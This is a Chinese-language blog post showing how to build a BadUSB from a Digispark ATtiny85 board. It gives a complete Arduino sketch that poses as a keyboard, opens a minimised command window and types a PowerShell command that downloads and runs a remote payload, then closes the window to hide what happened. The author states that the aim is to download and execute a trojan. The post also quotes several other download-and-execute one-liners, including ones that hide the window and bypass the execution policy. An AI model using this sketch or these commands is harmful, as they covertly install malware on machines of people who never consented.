BadUSB制作过程-基于Digispark

BadUSB制作过程-基于Digispark

Brathon

一直就很想做一个BadUSB于是就做了一个BadUSB……

基于Attiny85和digispark

首先是原料,上链接:

硬件:
Attiny85:https://m.tb.cn/h.fg5Xm3W?sm=0be9e8
软件:
IDE:https://www.arduino.cc/en/software
驱动:https://github.com/digistump/DigistumpArduino/releases
指令转译:https://github.com/Catboy96/Automator

开发板编程环境部署

首先是下载驱动和arduino,并安装

点击File->Preferences,在最下面的输入栏里填写开发板管理的链接

http://digistump.com/package_digistump_index.json

点击 Tools->Board->Boards Manager
然后在搜索栏里输入digistump,不用写完整自动找到,下载第一个

下载结束后,在上方栏选择开发板,找到Digispark(Default-16.5mhz)

之后就是编程环节了
这里的逻辑是:仿HID,打开cmd->输入命令下载木马并使用powershell执行->关闭窗口

不同的大佬使用的不同的代码来隐藏窗口运行powershell
比如雷神众测的文章用的是

1
Powershell IEX(New-Object Net.WebClient).DownloadString('http://IP:port/sys_dll.ps1');

也有大佬使用

1
powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://服务器ip:8000/生成的后门');

各有春秋

我用的是

1
echo set-alias -name rookie -value Invoke-Expression;rookie(new-object net.webclient).downloadstring('http://ip:port/payload.ps1') | powershell -");

哪个好用就由后来人说吧,反正目的都是一样的。

附上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <DigiKeyboard.h>
void setup()
{
// put your setup code here, to run once:
DigiKeyboard.delay(2000);//为等待2秒
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);//发送win+R
DigiKeyboard.delay(800);
DigiKeyboard.println("cmd /T:01 /K mode CON: COLS=16 LINES=1");//将cmd窗口最小化保证隐蔽性
DigiKeyboard.delay(2000);
DigiKeyboard.println("echo set-alias -name rookie -value Invoke-Expression;rookie(new-object net.webclient).downloadstring('http://ip:port/payload.ps1') | powershell -");//要执行的payload
DigiKeyboard.delay(3500);
DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);//执行完成后alt+F4关闭窗口
}
void loop()
{
// put your main code here, to run repeatedly:
}

关于有的大佬说使用Automator这个工具方便键入命令,个人感觉吧,不好用,如不认真学习HID的协议

效果

image-80ffa4e019054a95bbabaf6e906263b7
image-80ffa4e019054a95bbabaf6e906263b7

image-2412be2afe5742629538262be0d454d7
image-2412be2afe5742629538262be0d454d7

遗留问题

中英文切换与大小写,<DigiKeyboard.h>中似乎没有CapsLocks

在github上发现有大佬回答使用57来完成大小写切换,在windows上不区分大小写,所以换用大写后可以避免中文输入法带来的困扰。

1
DigiKeyboard.sendKeyStroke(57);

也有大佬提出,使用ctrl+space来切换输入法

1
2
DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_CONTROL_LEFT);

参考
https://www.cnblogs.com/qianxiao996/p/13574566.html
https://mp.weixin.qq.com/s/A8KaMP-AJsuZSyyR6Zs1UA

  • 标题: BadUSB制作过程-基于Digispark
  • 作者: Brathon
  • 创建于: 2023-04-23 16:28:59
  • 更新于: 2023-09-23 02:56:40
  • 链接: https://fiddling.blog/2023/04/23/BadUSB制作过程-基于Digispark/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
推荐阅读
红队的夜行衣——反反制的那些事 红队的夜行衣——反反制的那些事 简单记录pixel 3XL刷KaliNetHunter的过程 简单记录pixel 3XL刷KaliNetHunter的过程 苹果端的越狱到frida hook 苹果端的越狱到frida hook
 评论